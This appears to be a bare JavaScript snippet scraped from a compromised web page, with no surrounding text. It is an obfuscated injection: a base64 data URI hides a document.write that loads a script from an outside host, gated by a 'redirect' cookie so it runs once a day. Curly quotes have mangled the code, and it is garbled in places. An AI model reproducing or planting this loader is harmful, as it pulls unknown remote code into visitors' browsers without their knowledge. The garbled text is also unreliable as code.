function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}